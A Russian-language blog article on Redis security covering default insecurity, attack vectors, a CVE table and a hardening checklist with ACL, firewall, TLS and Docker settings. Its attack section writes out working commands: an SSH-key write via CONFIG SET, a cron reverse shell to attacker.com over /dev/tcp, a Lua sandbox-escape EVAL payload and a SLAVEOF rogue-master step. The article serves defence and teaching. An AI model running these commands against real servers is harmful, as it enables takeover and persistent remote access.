Уязвимости Redis: почему тысячи серверов взламывают прямо сейчас и как защититься
Title: Уязвимости Redis — полный разбор угроз и защита сервера в 2026 году Description: Redis по умолчанию небезопасен. Разбираем реальные уязвимости, векторы атак, CVE-инциденты и конкретный чек-лист защиты: ACL, TLS, firewall, переименование команд. Keyphrases: уязвимости redis, redis безопасность, redis без пароля взлом, redis exposed internet, redis security best practices, redis cve 2025 2026, защита redis, redis requirepass acl, redis конфигурация безопасность date: '2025-11-14' cover: '/blog-covers/uyazvimosti-redis.png'
Redis — один из самых популярных in-memory хранилищ в мире, но по умолчанию он спроектирован для работы в доверенной сети без аутентификации. Это значит: если вы случайно открыли Redis в интернет — любой может подключиться к нему и делать с данными всё что угодно. По данным Shodan, в 2026 году в открытом доступе находятся десятки тысяч Redis-инстансов без пароля.
Почему Redis изначально небезопасен
Redis создавался как инструмент для работы внутри изолированной сети между серверами приложений. Его автор Сальваторе Санфилиппо (antirez) прямо указывал: Redis не предназначен для открытого доступа из интернета. Производительность была приоритетом, безопасность — нет.
По умолчанию Redis:
- Слушает все интерфейсы (
0.0.0.0) в старых версиях - Не требует пароля
- Не шифрует данные в транзите
- Позволяет выполнять команды
CONFIG SET,SLAVEOF,EVALбез ограничений - Запускается как суперпользователь в некоторых конфигурациях
Начиная с Redis 3.2 появился «защищённый режим» (protected-mode yes), который блокирует подключения с внешних адресов, если не настроен пароль. Но это лишь частичная защита.
Реальные векторы атак на Redis
Вектор 1: Redis без пароля, доступный из интернета
Самая распространённая атака. Злоумышленник сканирует диапазоны IP через Shodan или masscan, находит открытый порт 6379, подключается через redis-cli:
redis-cli -h <IP жертвы> ping
# PONG — сервер отвечает без пароля
redis-cli -h <IP жертвы> info server
# Полная информация о сервере
redis-cli -h <IP жертвы> keys "*"
# Все ключи в базе
Никаких эксплойтов не нужно — просто открытый порт и отсутствие аутентификации.
Вектор 2: Запись SSH-ключа через CONFIG SET
Классическая техника для получения shell-доступа к серверу через незащищённый Redis:
# Злоумышленник генерирует SSH-ключ
ssh-keygen -t rsa
# Записывает публичный ключ в Redis
redis-cli -h <IP жертвы> config set dir /root/.ssh/
redis-cli -h <IP жертвы> config set dbfilename authorized_keys
echo -e "\n\n$(cat id_rsa.pub)\n\n" | redis-cli -h <IP жертвы> -x set pwn
redis-cli -h <IP жертвы> bgsave
# Теперь можно подключиться к серверу по SSH
ssh -i id_rsa root@<IP жертвы>
Эта техника работает, если Redis запущен от имени пользователя с домашней директорией (часто root). Без пароля — полный компромис сервера за минуту.
Вектор 3: Запись cron-задачи для reverse shell
# Записать вредоносный cron через Redis
redis-cli -h <IP> config set dir /var/spool/cron/
redis-cli -h <IP> config set dbfilename root
redis-cli -h <IP> set cron "\n* * * * * bash -i >& /dev/tcp/attacker.com/9999 0>&1\n"
redis-cli -h <IP> bgsave
Результат — reverse shell каждую минуту на сервер злоумышленника.
Вектор 4: Lua-инъекция (CVE-2022-0543 и аналоги)
Redis поддерживает выполнение Lua-скриптов через команду EVAL. Ряд CVE-уязвимостей позволял выйти за пределы Lua-sandbox и выполнить произвольный код на сервере:
-- Пример использования уязвимости Lua sandbox escape
EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
CVE-2022-0543 касался только пакета Redis в Debian/Ubuntu (а не upstream Redis), но наглядно показал: EVAL — опасная команда в чужих руках.
Вектор 5: Redis Replication для RCE (SSRF через SlaveOf)
Команда SLAVEOF позволяет сделать Redis рабой внешнего мастер-сервера. Злоумышленник может заставить Redis скачать вредоносный модуль (MODULE LOAD) с подконтрольного сервера:
# Атакующий запускает поддельный Redis-мастер
# Жертва подключается к нему через SLAVEOF
redis-cli -h <жертва> slaveof attacker.com 6379
# Затем атакующий реплицирует команду загрузки вредоносного .so модуля
Техника известна с 2019 года, но актуальна для старых версий Redis и конфигураций без ACL.
Вектор 6: Атаки через команду KEYS
# KEYS * блокирует Redis на время выполнения (O(N))
# Злоумышленник может вызвать DoS-атаку
redis-cli -h <IP> keys "*"
На базах с миллионами ключей команда KEYS * может заморозить Redis на секунды, что эффективно как DoS.
Известные CVE в Redis
| CVE | Версии | Тип | Оценка CVSS | |---|---|---|---| | CVE-2022-0543 | Redis на Debian/Ubuntu | RCE через Lua | 10.0 (критическая) | | CVE-2023-28856 | Redis < 7.0.11 | Authenticated RCE | 7.8 (высокая) | | CVE-2023-36824 | Redis < 7.0.12 | Heap overflow | 8.8 (высокая) | | CVE-2024-31449 | Redis < 7.2.4 | Authenticated RCE через Lua | 8.8 (высокая) | | CVE-2024-46981 | Redis < 7.2.7 | RCE через Lua bytecode | 9.8 (критическая) |
Большинство критических уязвимостей требуют аутентификации — то есть, если у вас нет пароля, ситуация ещё хуже: атакующему не нужен даже эксплойт.
Как проверить, уязвим ли ваш Redis
Проверка доступности из внешней сети
# С внешней машины (не с сервера)
redis-cli -h your.server.ip -p 6379 ping
# Если ответ PONG — Redis открыт без защиты
# Если timeout — хорошо, порт закрыт
Проверка конфигурации изнутри
redis-cli config get bind
# Должно быть 127.0.0.1, не 0.0.0.0
redis-cli config get requirepass
# Должно быть непустым
redis-cli config get protected-mode
# Должно быть yes
Поиск через Shodan
# Поиск по IP вашей организации
shodan host <your_ip>
# Или поиск открытых Redis без пароля
shodan search "product:Redis" country:RU
Полный чек-лист защиты Redis
1. Аутентификация: requirepass и ACL
Для Redis до версии 6.0 — минимальная защита через пароль:
# redis.conf
requirepass "ваш_очень_длинный_пароль_из_32_символов"
Начиная с Redis 6.0 рекомендуются ACL (Access Control Lists):
# redis.conf
# Отключаем пользователя по умолчанию
user default off nopass nocommands
# Создаём пользователя для приложения только с нужными командами
user appuser on >strong_password ~* &* +@read +@write +@set -@admin -@dangerous
# Отдельный пользователь для мониторинга (только чтение)
user monitoring on >monitor_password ~* &* +@read +info +ping -@admin
Применение ACL без перезапуска:
redis-cli acl load
redis-cli acl whoami
redis-cli acl list
2. Сетевые ограничения: bind и firewall
# redis.conf — слушаем только localhost
bind 127.0.0.1
# Или конкретный внутренний IP
bind 127.0.0.1 10.0.0.5
Firewall через iptables (Linux):
# Закрыть Redis для всего мира
iptables -A INPUT -p tcp --dport 6379 -j DROP
# Открыть только для конкретного приложения (по IP)
iptables -A INPUT -p tcp --dport 6379 -s 10.0.0.10 -j ACCEPT
Firewall через ufw:
sudo ufw deny 6379
sudo ufw allow from 10.0.0.10 to any port 6379
3. TLS-шифрование (Redis 6.0+)
# redis.conf
tls-port 6379
port 0 # Отключаем нешифрованный порт
tls-cert-file /etc/redis/tls/redis.crt
tls-key-file /etc/redis/tls/redis.key
tls-ca-cert-file /etc/redis/tls/ca.crt
tls-auth-clients yes # Требуем сертификат от клиента
tls-protocols "TLSv1.2 TLSv1.3"
Подключение с TLS:
redis-cli --tls \
--cert /etc/redis/tls/client.crt \
--key /etc/redis/tls/client.key \
--cacert /etc/redis/tls/ca.crt \
-h 127.0.0.1 ping
4. Отключение или переименование опасных команд
# redis.conf
# Полностью отключить опасные команды
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command DEBUG ""
rename-command CONFIG ""
rename-command SLAVEOF ""
rename-command REPLICAOF ""
rename-command MODULE ""
# Или переименовать в случайную строку
rename-command EVAL "eval_xK9mP2nQ"
rename-command KEYS "keys_xK9mP2nQ"
5. Запуск от непривилегированного пользователя
# Создать системного пользователя
sudo useradd -r -s /bin/false redis
# Изменить владельца директорий
sudo chown -R redis:redis /var/lib/redis /etc/redis
# Настройка systemd для запуска от redis
# /etc/systemd/system/redis.service
[Service]
User=redis
Group=redis
6. Protected mode
# redis.conf
protected-mode yes
При включённом protected mode Redis отклоняет подключения с внешних адресов, если не настроен пароль и bind не ограничен.
7. Ограничение памяти и защита от DoS
# redis.conf
maxmemory 2gb
maxmemory-policy allkeys-lru
# Ограничение числа клиентов
maxclients 100
# Таймаут соединений
timeout 300
# Ограничение скорости выполнения команд (redis >= 6.0)
# latency-tracking yes
8. Логирование и мониторинг
# redis.conf
loglevel notice
logfile /var/log/redis/redis.log
# Мониторинг команд в реальном времени
redis-cli monitor
# Статистика
redis-cli info all
redis-cli slowlog get 10
Redis в Docker: особые риски
Типичная ошибка при работе с Docker:
# ОПАСНО — Redis открыт на хост-машине на всех интерфейсах
services:
redis:
image: redis:7
ports:
- "6379:6379" # Этот порт слушает 0.0.0.0 на хосте!
# БЕЗОПАСНО — Redis доступен только внутри Docker-сети
services:
redis:
image: redis:7
# Не маппируем порты наружу
command: redis-server --requirepass strong_password
networks:
- internal
app:
image: my-app
networks:
- internal
networks:
internal:
driver: bridge
Если нужен доступ с хоста — маппируйте только на localhost:
ports:
- "127.0.0.1:6379:6379" # Только localhost, не весь мир
Redis в Kubernetes
В Kubernetes используйте NetworkPolicy для ограничения доступа:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: redis-access
spec:
podSelector:
matchLabels:
app: redis
ingress:
- from:
- podSelector:
matchLabels:
role: backend # Только поды с этим лейблом
ports:
- port: 6379
Управляемые Redis-сервисы: безопасность из коробки
Если не хотите заниматься настройкой безопасности вручную — используйте управляемые сервисы:
- Redis Cloud (redis.com/redis-enterprise-cloud) — официальный облачный Redis с TLS, ACL и шифрованием данных
- AWS ElastiCache for Redis — TLS, auth tokens, VPC изоляция
- Google Cloud Memorystore — аутентификация, шифрование, приватная сеть
- Upstash (serverless Redis) — глобальный, с REST API, TLS из коробки, платные планы
Российские аналоги:
- Yandex Managed Service for Redis — в VPC, с шифрованием
- Selectel Redis — управляемый сервис
- Timeweb Cloud Redis
Бэкапы Redis: не забывайте о данных
Redis хранит данные в памяти и периодически сохраняет на диск через RDB-снапшоты или AOF-логи. Это не полноценный бэкап.
# redis.conf — настройка RDB снапшотов
save 900 1 # Сохранить если изменился хотя бы 1 ключ за 15 минут
save 300 10 # Или 10 ключей за 5 минут
save 60 10000 # Или 10000 ключей за минуту
# Путь к dump.rdb
dir /var/lib/redis
dbfilename dump.rdb
Бэкап RDB-файла:
redis-cli bgsave
cp /var/lib/redis/dump.rdb /backups/redis_$(date +%Y%m%d_%H%M%S).rdb
Для автоматического резервного копирования Redis и других баз данных в облако смотрите dbsend.ru — поддерживаются SQLite, PostgreSQL, NoSQL включая Redis RDB-бэкапы.
Итог: минимальная безопасность Redis за 5 минут
Если у вас нет времени читать всё выше — сделайте хотя бы это прямо сейчас:
# 1. Установить пароль
redis-cli config set requirepass "very_long_random_password_32chars"
# 2. Ограничить bind
redis-cli config set bind "127.0.0.1"
# 3. Включить protected mode
redis-cli config set protected-mode yes
# 4. Сохранить конфиг
redis-cli config rewrite
А затем проверьте, что порт 6379 не доступен из интернета:
# С внешней машины
nc -zv your.server.ip 6379
# Должно быть: Connection refused или timeout
FAQ
Redis использует пароль, но всё равно уязвим? Да. Пароль — это только один слой защиты. Нужны также ограничение bind на localhost, firewall, TLS для шифрования трафика и переименование опасных команд. Пароль без других мер не защищает от прослушивания трафика или брутфорса.
Как быстро найти открытые Redis в своей инфраструктуре?
nmap -p 6379 --script redis-info <ваш_диапазон_IP> покажет все открытые Redis-инстансы. Или используйте Shodan для внешнего сканирования.
Redis 7 безопаснее Redis 6? Redis 7 добавил улучшенные ACL, поддержку отдельных пользователей для Pub/Sub, улучшенный мониторинг. Но базовые принципы защиты одинаковы для всех версий.
Можно ли использовать Redis без пароля в Docker Compose?
Только если Redis не маппирует порты наружу (ports не настроены или маппируются на 127.0.0.1). Внутри Docker-сети без маппинга — относительно безопасно для dev-окружения. В продакшене — только с паролем и ACL.
Как защитить Redis в продакшене минимальными усилиями? Используйте управляемый сервис (AWS ElastiCache, Yandex Managed Redis) — там безопасность настроена по умолчанию. Или следуйте чек-листу выше: bind на localhost, пароль, firewall, запуск не от root.
Влияет ли TLS на производительность Redis? Да, TLS добавляет overhead ~10-20% латентности. Для большинства приложений это незначительно. Если Redis работает только внутри одного хоста (localhost) — TLS можно не включать. Если трафик идёт через сеть — TLS обязателен.